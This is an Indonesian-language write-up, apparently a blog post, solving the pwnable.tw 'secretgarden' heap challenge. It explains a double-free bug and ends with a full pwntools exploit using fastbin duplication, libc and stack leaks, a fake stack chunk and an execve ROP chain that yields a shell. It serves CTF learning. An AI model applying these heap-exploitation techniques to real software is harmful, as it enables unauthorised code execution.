writeup pwnable.tw : secretgarden

# Intro

Secretgarden adalah sebuah challenge yang didapat dari pwnable.tw, challenge ini berjenis binary exploit. Untuk menyelesaikannya, harus membutuhkan pemahaman memory heap dan glibc malloc karena program yg diberikan memanfaatkan fitur2 tersebut. Jadi, sebelumnya saya anggap pembaca telah mengerti tentang heap dan metode-metode exploitasinya. Kalian bisa belajar lebih lanjut tentang heap exploitasi pada artikel di bawah ini.

# Challenge Overview

Diberikan file ELF 64 bit, dan sebuah file libc dengan versi 2.23. Dilakukan checksec pada file executable tersebut, file tersebut mengaktifkan semua proteksinya.

Jalankan program tersebut, terdapat beberapa menu yang tersedia. Disana kita bisa memilih menu untuk membuat “flower”, menampilkan semua “flower”, menghapus “flower”, dan menghapus semua “flower”.

# Code Analysis

Setelah dianalisa, “flower” merupakan sebuah structure yang seperti berikut

struct Flower {
    int32_t  is_active;
    int32_t  padd_0;
    char*    name;
    char[24] color;
};

Dan, terdapat variable global bertipe array yang menyimpan semua “flower” yang telah dibuat.

void create_flower(void)

{
  long lVar1;
  int iVar2;
  flower *flower;
  char *flowername;
  long *plVar3;
  uint i;
  uint length_name;

  length_name = 0;
  if (flower_count < 100) {
    flower = (flower *)malloc(0x28);
    *(undefined8 *)flower = 0;
    flower->name = (char *)0x0;
    /* memset(&flower->color, '\0', 24); */
    *(undefined8 *)flower->color = 0;
    *(undefined8 *)(flower->color + 8) = 0;
    *(undefined8 *)(flower->color + 0x10) = 0;
    __printf_chk(1,"Length of the name :");
    iVar2 = __isoc99_scanf("%u",&length_name);
    if (iVar2 == -1) {
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    flowername = (char *)malloc((ulong)length_name);
    if (flowername == (char *)0x0) {
      puts("Alloca error !!");
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    __printf_chk(1,"The name of flower :");
    read(0,flowername,(ulong)length_name);
    flower->name = flowername;
    __printf_chk(1,"The color of the flower :");
    __isoc99_scanf("%23s",(undefined8 *)flower->color);
    flower->is_active = 1;
    if (flowers == (flower *)0x0) {
      i = 0;
LAB_00100d75:
      (&flowers)[(ulong)i] = flower;
    }
    else {
      plVar3 = &flowers[1];
      i = 1;
      do {
        if (*plVar3 == 0) goto LAB_00100d75;
        i = i + 1;
        plVar3 = plVar3 + 1;
      } while (i != 100);
    }
    flower_count = flower_count + 1;
    puts("Successful !");
  }
  else {
    puts("The garden is overflow");
  }
}

Fungsi create_flower diatas, akan dipanggil ketika kita menginputkan 1 pada bagian menu. Fungsi diatas cukup jelas, yakni mengalokasikan structure flower baru dengan malloc, mengalokasikan nama flower sesuai panjang yang diinputkan user dengan malloc juga. Setelah itu, program mencari bagian yang kosong pada variable global flowers untuk ditempati structure flower baru yang telah dibuat.

Dibawah ini merupakan code dari fungsi print_flower, fungsi ini akan dipanggil jika kita menginputkan 2 pada menu.

void print_flowers(void)

{
  long lVar1;
  flower *pfVar2;
  ulong uVar3;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  uVar3 = 0;
  if (flower_count == 0) {
    puts("No flower in the garden !");
  }
  else {
    do {
      pfVar2 = (&flowers)[uVar3];
      if ((pfVar2 != (flower *)0x0) && (pfVar2->is_active != 0)) {
        __printf_chk(1,"Name of the flower[%u] :%s\n",uVar3 & 0xffffffff,pfVar2->name);
        __printf_chk(1,"Color of the flower[%u] :%s\n",uVar3 & 0xffffffff,(&flowers)[uVar3]->color);
      }
      uVar3 = uVar3 + 1;
    } while (uVar3 != 100);
  }
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Fungsi diatas akan menampilkan semua informasi flower (flower name dan color) hanya jika nilai dari member is_active tidak bernilai nol.

Sekarang di bawah ini merupakan fungsi remove_flowers, fungsi ini merupakan fungsi yang menarik, karena bug yang berada pada fungsi ini. Seperti ini codenya.

undefined8 remove_flower(void)

{
  long lVar1;
  int iVar2;
  undefined4 extraout_var;
  undefined8 uVar3;
  long in_FS_OFFSET;
  uint i;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (flower_count == 0) {
    iVar2 = puts("No flower in the garden");
    uVar3 = CONCAT44(extraout_var,iVar2);
  }
  else {
    __printf_chk(1,"Which flower do you want to remove from the garden:");
    __isoc99_scanf("%d",&i);
    if ((i < 100) && ((&flowers)[(ulong)i] != (flower *)0x0)) {
      (&flowers)[(ulong)i]->is_active = 0;
      free((&flowers)[(ulong)i]->name);
      uVar3 = puts("Successful");
    }
    else {
      puts("Invalid choice");
      uVar3 = 0;
    }
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar3;
}

Fungsi remove_flower akan dipanggil jika kita memilih 3 pada bagian menu. Pada saat penghapusan, fungsi ini tidak menghapus keseluruhan structure flower, tetapi hanya flower->name nya saja yang dilewatkan ke fungsi free. Dan member variable is_active akan diset ke nol.

is_active diset ke nol, digunakan untuk membedakan flower tersebut telah dihapus atau tidak. Seperti yang dilakukan di fungsi print_flower, fungsi tersebut hanya memprint flower yang nilai is_activenya != 0, jadi fungsi tersebut aman dari serangan use-after-free.

Sementara di fungsi remove_flower. Kita dapat menghapus flower berkali-kali, karena tidak ada pengecekan bahwa hanya flower yang is_activenya != 0 saja yang dapat dihapus. Ketika sebuah variable yg dialokasikan dengan malloc dapat dilakukan free berkali-kali, ini merupakan sebuah bug double free yang dapat dimanfaatkan oleh attacker untuk proses exploitasi selanjutnya.

Pada saat dilakukan penghapusan pada flower dengan index yang sama, Program crash.

# Getting Information Leak

Sebelum itu, saya membuat script kecil untuk membantu melakukan interaksi pada program secara otomatis melalui script. Seperti melakukan membuat flower dan menghapus flower. Scriptnya seperti ini

from pwn import *

context.terminal = "tmux splitw -h -f".split()
p = process("./secretgarden", env={"LD_PRELOAD":"./libc.so.6"})
#p = remote("chall.pwnable.tw", 10203)
cmd = ""
libc = ELF('./libc.so.6', checksec=False)
if DEBUG:
    gdb.attach(p, cmd, gdb_args=["--init-eval-command='source ~/ctf/tools/gef/gef.py'"])

def goto(n):
    p.recvuntil("Your choice : ")
    p.sendline(str(n))
    return

def create_flower(color, name, len_name=-1):
    if len_name == -1:
        len_name = len(name)
    goto(1)
    p.recv()
    p.sendline(str(len_name))
    p.recv()
    p.sendline(name)
    p.recv()
    p.sendline(color)
    return

def delete_flower(idx):
    goto(3)
    p.recv()
    p.sendline(str(idx))
    return

Untuk menghindari crash pada saat melakukan double free, kita dapat melakukan free flower lain diantara flower yang akan di-double free. Contohnya seperti ini.

create_flower("red", "A"*0x28)
create_flower("blue", "B"*0x28)
create_flower("white", "D"*0x8)
delete_flower(0)
delete_flower(1)
delete_flower(0) # double free here

Pada script diatas, saya menghapus flower pada index 0 sebanyak 2 kali, sementara itu saya juga menghapus flower pada index 1 diantaranya agar tidak terjadi crash. Saya juga menambahkan flower lain, untuk berjaga2 agar flower pada index 1 tidak dimerge dengan top chunk pada saat dilakukan free.

Di script diatas juga, saya membuat flower dengan ukuran 0x28, mengapa? nanti kita akan lihat.

Perintah 1: Menampilkan seluruh alamat2 structure flower pada array flowers
Perintah 2 dan 3: Menampilkan isi structure flower index pertama dan kedua
Isi kedua structure flower index pertama dan kedua setelah difree (delete)
kondisi fastbins setelah dilakukan double free

Flower name yang telah difree akan ditaruh difastbin (pada index 1). Saya membuat ukuran flower name sama dengan ukuran struktur flower (yaitu 0x28 byte) agar ketika struktur flower baru dialokasikan akan mengambil alamat pada index fastbin yang sama dengan fastbin yang berisi flower name yg sebelumnya difree. (index 1)

Misal, flower name pada index pertama yang memiliki panjang 0x28 byte dan memiliki alamat 0x0000555555758050 dihapus dan ditaruh di fastbin. Ketika structure flower baru dibuat dengan:

flower = (flower *)malloc(0x28);

Malloc akan terlebih dahulu mencari chunk dengan ukuran yg cocok difastbin, dan menemukan bahwa alamat 0x0000555555758050 cocok ukurannya (bahkan sama). Maka, malloc akan mereturn alamat tersebut.

kondisi fastbins setelah dilakukan double free

Kita lihat lagi gambar diatas, fastbin pada index 1 mempunyai rantai chunk yg seperti berikut (saya tulis ulang)

0x555555758050 -> 0x5555557580b0 -> 0x555555758050 -> 0x5555557580b0 -> ... (loop)

Kondisi ini dapat kita manfaatkan untuk memperoleh libc leak dengan cara:

Pertama, Buat flower baru dengan nama yg berukuran cocok dengan smallbin. Sesuai kondisi fastbin, flower selanjutnya akan memiliki alamat 0x555555758050. Flower ini akan tertaruh pada index 3 pada array flowers.

Isi dari struktur flower pada index 3.

Kedua, hapus flower pada index ke 3. Hal ini akan membuat flower name akan difree, dan karena ukurannya cocok dengan smallbin maka fd pointernya akan berisi alamat libc yaitu main arena. Goal kita adalah untuk meleak alamat tersebut.

Ketiga, Buat flower baru, flower baru ini akan tertaruh pada index ke-4, flower ini akan kita buat nama yg seukuran dengan structure flower yakni 0x28 byte. Sesuai kondisi fastbin, flower ini akan memiliki alamat 0x5555557580b0 dan karena karena flower name baru kita buat berukuran 0x28, maka fastbin pada index 1 akan diambil, hasilnya alamat 0x555555758050 akan dihasilkan. Dan, kamu tahu? karena alamat flower name yg dihasilkan sama dengan alamat struktur flower pada index 3, yaitu 0x555555758050, artinya kita mempunyai kuasa penuh pada struktur flower pada index ke-3 dan bisa mengontrol seluruh nilai yang ada disana.

Tujuan kita adalah meleak alamat libc, nilai yang harus saya leak tersebut berada dialamat flower name yg dipegang struktur flower pada index-3. Jadi kita cukup menampilkan flower name pada flower index ke-3.

Karena flower index ke-3 telah didelete sebelumnya, maka member is_active pada struktur ini diset ke null, dan flower index ke-3 ini tidak akan ditampilkan/diskip ketika kita memilih menu nomor 2 untuk menampilkan semua flower yg ada.

if ((pfVar2 != (flower *)0x0) && (pfVar2->is_active != 0)) {
        __printf_chk(1,"Name of the flower[%u] :%s\n",uVar3 & 0xffffffff,pfVar2->name);
        __printf_chk(1,"Color of the flower[%u] :%s\n",uVar3 & 0xffffffff,(&flowers)[uVar3]->color);
}

Jadi, kita hanya perlu mengubah nilai is_active bukan null untuk memperoleh leak.

Dengan tahapan yg sudah saya jelaskan diatas maka lanjutan kode exploit saya akan menjadi seperti ini.

create_flower("red", "C"*0x100) # create name that fit in smallbin
delete_flower(3)
create_flower("blue", "A"*7, 0x28) # just to make sure is_active is not null
goto(2)
p.recvuntil(":AAAAAAA\n")
leak = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
log.info("leak @ 0x{:08x}".format(leak))
pause()

Jalankan scriptnya, terdapat sebuah nilai address yg merupakan bagian dari libc. Kita bisa mengurangkannya dengan sebuah nilai agar mendapatkan alamat base address libc.

Cara mendapatkannya nilainya adalah kurangkan nilai yg dileak dengan alamat libc base address saat ini.

>>> 0x7ffff7dd4b78 - 0x00007ffff7a11000
3947384

Nilai tersebut akan selalu sama dan akan digunakan untuk mendapatkan alamat libc base dengan hanya perlu memiliki nilai yang didapatkan dari proses leak sebelumnya.

Tambahkan potongan kode dibawah ini, untuk mendapatkan base address libc.

base = leak - 3947384
libc.address = base
log.info("libc @ 0x{:08x}".format(base))
output script ketika kode diatas ditambahkan

# Getting Code Execution

Kita bisa mengendalikan eksekusi program dengan cara melakukan house of spirit. Yaitu, dengan mengoverwrite fd pointer pada chunk yg telah masuk di fastbin dengan alamat “fake” chunk yg berada dekat sebelum __malloc_hook berada. “fake” chunk ini merupakan chunk yg valid yg bisa membypass security check pada malloc. Fake chunk dapat berada dimana pun stack, heap, ataupun segmen memory yang writable.

__malloc_hook merupakan sebuah function pointer pada kode malloc, ketika fungsi malloc dipanggil, maka __malloc_hook akan dipanggil juga ketika nilai __malloc_hook bukan NULL.

Ketika kita ingin mengoverwrite __malloc_hook dengan teknik tersebut, diharuskan ukuran fake chunk dapat menampung __malloc_hook agar __malloc_hook dapat ikut teroverwrite ketika ada data yang disimpan di fake chunk.

Tetapi cara diatas sepenuhnya gagal, walaupun __malloc_hook telah kita kontrol, namun alamat apa yang akan kita isi ke __malloc_hook agar memberikan kita shell?, one gadget sudah saya coba semua dan tidak ada yang berhasil. Atau mencari address yg dapat melakukan stack pivoting dan melakukan ROP? Cara itu terlalu ribet dan juga program memiliki proteksi canary yang diaktifkan.

Hal yang saya lakukan adalah membuat fake chunk bukan dekat __malloc_hook tetapi di stack dimana alamat tersebut berada dekat return address ketika fungsi read() dipanggil, diharapkan ketika fungsi read selesai dan return, program akan mengeksekusi payload ropchain yang saya buat (yang tersimpan di fake chunk).

    __printf_chk(1,"Length of the name :");
    iVar1 = __isoc99_scanf("%u",&local_24);
    if (iVar1 == -1) {
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    flowername = (char *)malloc((ulong)local_24);
    if (flowername == (char *)0x0) {
      puts("Alloca error !!");
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    __printf_chk(1,"The name of flower :");
    read(0,flowername,(ulong)local_24);

Untuk lebih jelasnya perhatikan kode diatas, skenario disini adalah ketika fake chunk telah dimasukkan ke fastbin. Ketika flowername dialokasikan dengan malloc dan mereturn alamat fake chunk, setelah itu fake chunk akan diisi inputan kita melalui fungsi read. Karena fake chunk berada di alamat stack dekat return address, jadi sama saja fungsi read tersebut bakal mengoverwrite return addressnya sendiri. Fake chunk nantinya akan kita isi payload ropchain yg memberikan kita shell. Itu tujuannya.

Breakpoint pada saat fungsi read dipanggil

Pada gambar diatas, saya melakukan breakpoint saat fungsi read ingin dipanggil, disini saya ingin melihat kondisi dan mencari fake chunk yg cocok dekat sebelum return address.

gef➤  x/8gx $rsp-8*8
0x7fffffffecd0: 0x00007fffffffee40      0x0000000000000000
0x7fffffffece0: 0x0000000000000000      0x00007ffff7a945d4
0x7fffffffecf0: 0x0000555555758130      0x0000555555758160
0x7fffffffed00: 0x00005555555552a2      0x0000555555554d0c

Diatas adalah nilai2 dari stack dekat return address. Untuk mencari fake chunk yg cocok kita hanya perlu sebuah alamat memory yang mempunyai nilai kurang dari 0x80. Alamat tersebut yg nantinya akan digunakan sebagai size dari fake chunk, karena chunk untuk fastbin harus mempunyai size kurang dari 0x80.

Sekarang kita check nilai yg berada di 0x7fffffffecd0.

gef➤  x/gx 0x7fffffffecd0
0x7fffffffecd0: 0x00007fffffffee40

Tambahkan +5 pada address tersebut.

gef➤  x/gx 0x7fffffffecd0+5
0x7fffffffecd5: 0x000000000000007f

Dan boom, sebuah nilai integer kurang dari 0x80 telah didapatkan, ini kita bisa manfaatkan sebagai fake chunk. Tinggal dikurangi 8 saja untuk mendapatkan alamat fake chunknya.

Walaupun ini terkesan aneh, karena dari memory alignmentnya bukan kelipatan 8, dan prev size yg berisi nilai yg random, tapi ini merupakan chunk yang valid.

Hal ini tidak bisa dilakukan pada libc dengan versi yang lebih dari 2.26 karena ada pengecekan memory alignment pada setiap chunk yg berada di bins.

Sekarang kita sudah mendapatkan fake chunk yg berada di alamat 0x7fffffffeccd. Tapi, karena adanya aslr, alamat fake chunk juga ikut berubah.

Untuk mengatasinya, kita perlu meleak sebuah alamat stack. Ketika alamat itu dileak hitung jarak antara alamat dileak dengan alamat fake chunk. Dan setiap alamat itu dileak dikurangi dengan jarak yg telah dihitung untuk mendapatkan alamat fake chunk.

Didalam libc terdapat variable/symbol yang bernama environ, environ tersebut berisi alamat stack, lebih tepatnya variable yg digunakan sebagai argumen ketiga pada fungsi main, yaitu char **envp.

gef➤  x/gx &environ
0x7ffff7dd6f38 <environ>:       0x00007fffffffee58

Untuk meleak nilai environ ini, caranya sama seperti yg kita lakukan pada bagian mendapatkan information leak. Hanya, jika pada information leak kita hanya mengontrol nilai is_activenya saja, pada bagian ini kita harus mengontrol member flower namenya juga. Flower name akan dioverwrite menjadi alamat environ, agar ketika flower tersebut ditampilkan, program akan menampilkan nilai environ yg berisi alamat stack.

Nantinya environ akan dikurang 395 untuk mendapatkan alamat fake chunk. Angka 395 didapat dari hasil pengurangan nilai environ dan alamat fake chunk.

>>> 0x00007fffffffee58 - 0x7fffffffeccd
395

Potongan kode exploit selanjutnya untuk mendapatkan alamat fake chunk seperti ini.

create_flower("grey", "K"*0x28)
create_flower("grey", "L"*0x28)
create_flower("white", "D"*0x8)
delete_flower(5)
delete_flower(6)
delete_flower(5)
create_flower("red", "C"*0x100)
create_flower("blue", p64(0x1) + p64(libc.symbols['environ']), 0x28) # overwrite is_active to 0x1 and name to address of environ.
log.info("envp @ 0x{:08x}".format(leak))
goto(2)
p.recvuntil("flower[8] :")
leak = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
fake_chunk1 = leak - 395
log.info("fake_chunk @ 0x{:08x}".format(fake_chunk1))

Setelah alamat fake chunk dileak, tinggal menoverwrite fd pointer pada alamat chunk yg telah difree dengan alamat fake chunk agar nantinya malloc mereturn alamat fake chunk.

Pertama, kita memilih menu nomor 4, pada menu nomor 4 program akan mem-free struktur flower yg memiliki is_active bernilai 0, dan elemen array yg struktur flowernya telah di free akan di-set ke null.

  ppfVar2 = &flowers;
  do {
    __ptr = *ppfVar2;
    if ((__ptr != (flower *)0x0) && (__ptr->is_active == 0)) {
      free(__ptr);
      *ppfVar2 = (flower *)0x0;
      flower_count = flower_count + -1;
    }
    ppfVar2 = ppfVar2 + 1;
  } while (ppfVar2 != (flower **)&_end);
  puts("Done!");

Hal ini dilakukan untuk menghindari crash pada alokasi struktur selanjutnya, karena fastbins berisi alamat memory tidak valid akibat double free yg saya lakukan sebelumnya. Dan untuk mengatasinya, mengisi entry fastbin dengan alamat memory yg valid dengan cara memfree struktur yg tidak dipakai, struktur yg telah difree akan dimasukkan ke fastbin, sehingga fastbin berisi alamat memory yg valid.

Program crash saat membuat struktur flower baru.
Program tidak crash jika kita memilih menu nomor 4 sebelum melakukan alokasi baru.

Selanjutnya, kita buat 2 buah flower baru dengan ukuran 0x68, lalu lakukan double free, seperti yg kita lakukan saat mendapatkan information leak.

Mengapa ukurannya harus 0x68?, Ingat ukuran fake chunk yg kita buat,mempunyai usable size 0x68, jadi hal ini agar membuat fake chunk dan flower yg kita buat masuk ke entry fastbin yg sama.

Potongan kode dibawah ini adalah kode exploit yg digunakan untuk melakukan double free.

create_flower("grey", "K"*0x68)
create_flower("grey", "L"*0x68)
delete_flower(0)
delete_flower(1)
delete_flower(0)

Disini, flower "K"*0x68 akan ditaruh di index 0, dan "L"*0x68 akan ditaruh di index 1 pada array flowers, karena tadi kita memilih menu no 4, index 0 dan 1 pada flowers akan diset null karena telah difree sebelumnya, dan pada alokasi flower selanjutnya, program akan mencari elemen array flower yg null terlebih dahulu, dan akhirnya index 0 dan 1 akan didapatkan untuk kedua buah flower yg kita buat diatas.

Seperti inilah kondisi fastbin setelah double free ketika telah dilakukan dengan kode diatas.

Perhatikan fastbins pada idx=5. Alamat chunk 0x555555758350 muncul 2 kali diantara alamat 0x5555557583c0.

Tujuan kita adalah menyeting fd pointer pada chunk yg telah difree atau chunk yg masih berada di dalam entry fastbin. Dengan cara simple, buat flower baru dengan ukuran 0x68 juga, sesuai kondisi fastbin, alamat 0x555555758350 untuk flower name akan dihasilkan, lalu isi flower name dengan alamat fake chunk.

Oiya, sebelum kita mengalokasikan flower baru, kita juga harus memilih menu no 4, sekali lagi, ini untuk menghindari agar program tidak crash.

Potongan kode selanjutnya akan seperti ini.

goto(4) # Freeing unused structure
create_flower("fake", p64(fake_chunk1), 0x68)

Seperti inilah kondisi fastbin ketika kode diatas dijalan kan.

Perhatikan pada fastbin di idx=5, chunk pada alamat 0x555555758350 fd pointernya akan menunjuk ke alamat fake chunk kita.

Chunk pada alamat 0x555555758350 mempunyai 2 kondisi akibat double free. Pertama, alamat 0x555555758350 merupakan flower name yg telah dialokasikan sebelumnya, dan namanya kita isi dengan alamat fake chunk yg kita buat. Kedua, alamat chunk 0x555555758350 merupakan chunk yg masih di-free karena masih ada didalam entry fastbin.

alamat fake chunk pada flower name.

Jadi, dengan kita mengisi flower name dengan alamat fake chunk, sama saja mengontrol fd pointer pada chunk yg telah di-free dengan alamat fake chunk.

Setelah itu, yg kita perlukan adalah agar pada alokasi flower name kita mendapatkan alamat fake chunk. Karena alamat fake chunk telah masuk di entry fastbin, jadi sesuai kondisi fastbin untuk mendapatkan alamat fake chunk untuk alokasi flower name, kita hanya perlu mengalokasikan 2 flower lain yg berukuran 0x68.

Sesuai kondisi fastbin alokasi flower pertama dengan ukuran 0x68 akan mendapatkan alamat 0x5555557583c0, alokasi flower kedua dengan ukuran yg sama akan mendapatkan alamat 0x555555758350, dan alokasi flower selanjutnya dengan ukuran yg sama akan mendapatkan alamat fake chunk!, selanjutnya tinggal isi flower name tersebut dengan payload rop chain kita.

Sebelumnya kita pastikan terlebih dahulu apakah cara ini berhasil untuk mengoverwrite return addess setelah fungsi read, berikut potongan kode exploit untuk melakukan hal tersebut.

create_flower("fake", "C"*0x68)
create_flower("fake", "B"*0x68)
create_flower("fake", "A"*0x68)

Tambahkan kode diatas, dan jalankan kode exploitnya.

Dan boom, return address dan stack berisi banyak string A karena alamat fake chunk yg kita isi sebelumnya. Tinggal kita cari offset pada string A yg cocok untuk menaruh payload ropchain kita.

Setelah dilakukan percobaan, return address akan teroverwrite di string A pada offset ke 43. Dan juga, disini saya merubah sedikit potongan kode exploit sebelumnya, agar pada exploit saya tidak menunggu string pada service untuk menginputkan bagian color, karena program sudah teralihkan setelah kita menginputkan bagian flower name. Potongan kode exploit diatas akan kita ganti menjadi seperti ini.

create_flower("fake", p64(fake_chunk1), 0x68)
create_flower("fake", "C"*0x68)
create_flower("fake", "B"*0x68)
goto(1)
p.recv()
p.sendline(str(0x68))
p.recv()
p.sendline("A"*43 + "X"*8) # Overwrite return address with XXXXXXXX

Disini saya mengirim string A sebanyak 43 (sesuai offset yg saya temukan untuk mengoverwrite return addrses) dan dilanjutkan XXXXXXXX. Jalankan exploitnya untuk memastikan apakah return address akan berisi XXXXXXXX.

Dan exploit saya berhasil untuk mengoverwrite return address. Setelah itu kita perlu membuat payload ropchain agar program memberikan kita shell.

Dengan tool ROPGadget saya menemukan gadget2 yg bisa digunakan untuk membuat ropchain, gadget ini didapat dari binary libcnya. Kalian bisa membaca artikel saya yang lain tentang ropchain dan return oriented programming. cari sendiri lah linknya wkwk

libc.symbols['pop_rdi'] = 0x0000000000021102 # pop rdi; ret
libc.symbols['pop_rax'] = 0x0000000000033544 # pop rax; ret
libc.symbols['pop_rdx_rsi'] = 0x00000000001144d9 # pop rdx; pop rsi; ret
libc.symbols['pop_rsi'] = 0x00000000000202e8 # pop rsi; ret

Saya akan membuat ropchain untuk memanggil execve("/bin/sh", 0, 0). Kenapa execve? kenapa nggak system?, well, ropchain system lebih gampang dibuat dan sudah saya coba tetapi entah kenapa gagal, bukannya dikasih shell malah dikasih segementation fault *duh.

Berikut potongan kode dibawah ini untuk membuat payload ropchain execve.

binsh = libc.search("/bin/sh").next()
payload = p64(libc.symbols['pop_rdx_rsi'])
payload += p64(0) # rdx = 0
payload += p64(0) # rsi = 0
payload += p64(libc.symbols['pop_rdi'])
payload += p64(binsh) # rdi = /bin/sh
payload += p64(libc.symbols['execve'])

Taruh kode diatas dimanapun setelah libc base dileak dan sebelum payload dikirim. Full kode exploitnya menjadi seperti ini.

from pwn import *

context.terminal = "tmux splitw -h -f".split()
p = process("./secretgarden", env={"LD_PRELOAD":"./libc.so.6"})
#p = remote("chall.pwnable.tw", 10203)
libc = ELF('./libc.so.6', checksec=False)

""" Preparing addresses for rop gadgets """
libc.symbols['pop_rdi'] = 0x0000000000021102 # pop rdi; ret
libc.symbols['pop_rax'] = 0x0000000000033544 # pop rax; ret
libc.symbols['pop_rdx_rsi'] = 0x00000000001144d9 # pop rdx; pop rsi; ret
libc.symbols['pop_rsi'] = 0x00000000000202e8 # pop rsi; ret

cmd = ""
DEBUG = 0
if DEBUG:
    gdb.attach(p, cmd, gdb_args=["--init-eval-command='source ~/ctf/tools/gef/gef.py'"])

def goto(n):
    p.recvuntil("Your choice : ")
    p.sendline(str(n))
    return

def create_flower(color, name, len_name=-1):
    if len_name == -1:
        len_name = len(name)
    goto(1)
    p.recv()
    p.sendline(str(len_name))
    p.recv()
    p.sendline(name)
    p.recv()
    p.sendline(color)
    return

def delete_flower(idx):
    goto(3)
    p.recv()
    p.sendline(str(idx))
    return

create_flower("red", "A"*0x28)
create_flower("blue", "B"*0x28)
create_flower("white", "D"*0x8)
delete_flower(0)
delete_flower(1)
delete_flower(0)
create_flower("red", "C"*0x100) # create name that fit in smallbin
delete_flower(3)
create_flower("blue", "A"*7, 0x28) # just to make sure is_active is not null
goto(2)
p.recvuntil(":AAAAAAA\n")
leak = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
log.info("leak @ 0x{:08x}".format(leak))
base = leak - 3947384
libc.address = base
log.info("libc @ 0x{:08x}".format(base))
create_flower("grey", "K"*0x28)
create_flower("grey", "L"*0x28)
create_flower("white", "D"*0x8)
delete_flower(5)
delete_flower(6)
delete_flower(5)
create_flower("red", "C"*0x100)
create_flower("blue", p64(0x1) + p64(libc.symbols['environ']), 0x28) # overwrite is_active to 0x1 and name to address of environ.
log.info("envp @ 0x{:08x}".format(leak))
goto(2)
p.recvuntil("flower[8] :")
leak = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
fake_chunk1 = leak - 395
log.info("fake_chunk @ 0x{:08x}".format(fake_chunk1))

goto(4) # Freeing unused structure
create_flower("grey", "K"*0x68)
create_flower("grey", "L"*0x68)
delete_flower(0)
delete_flower(1)
delete_flower(0)

goto(4) # Freeing unused structure
create_flower("fake", p64(fake_chunk1), 0x68)
create_flower("fake", "C"*0x68)
create_flower("fake", "B"*0x68)
goto(1)
p.recv()
p.sendline(str(0x68))
p.recv()

""" contruct ropchain payload """
binsh = libc.search("/bin/sh").next()
payload = p64(libc.symbols['pop_rdx_rsi'])
payload += p64(0) # rdx = 0
payload += p64(0) # rsi = 0
payload += p64(libc.symbols['pop_rdi'])
payload += p64(binsh) # rdi = /bin/sh
payload += p64(libc.symbols['execve'])

p.sendline("A"*43 + payload)
p.interactive()

Jalankan exploitnya dan kita bisa mendapatkan dan mengakses system shell.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s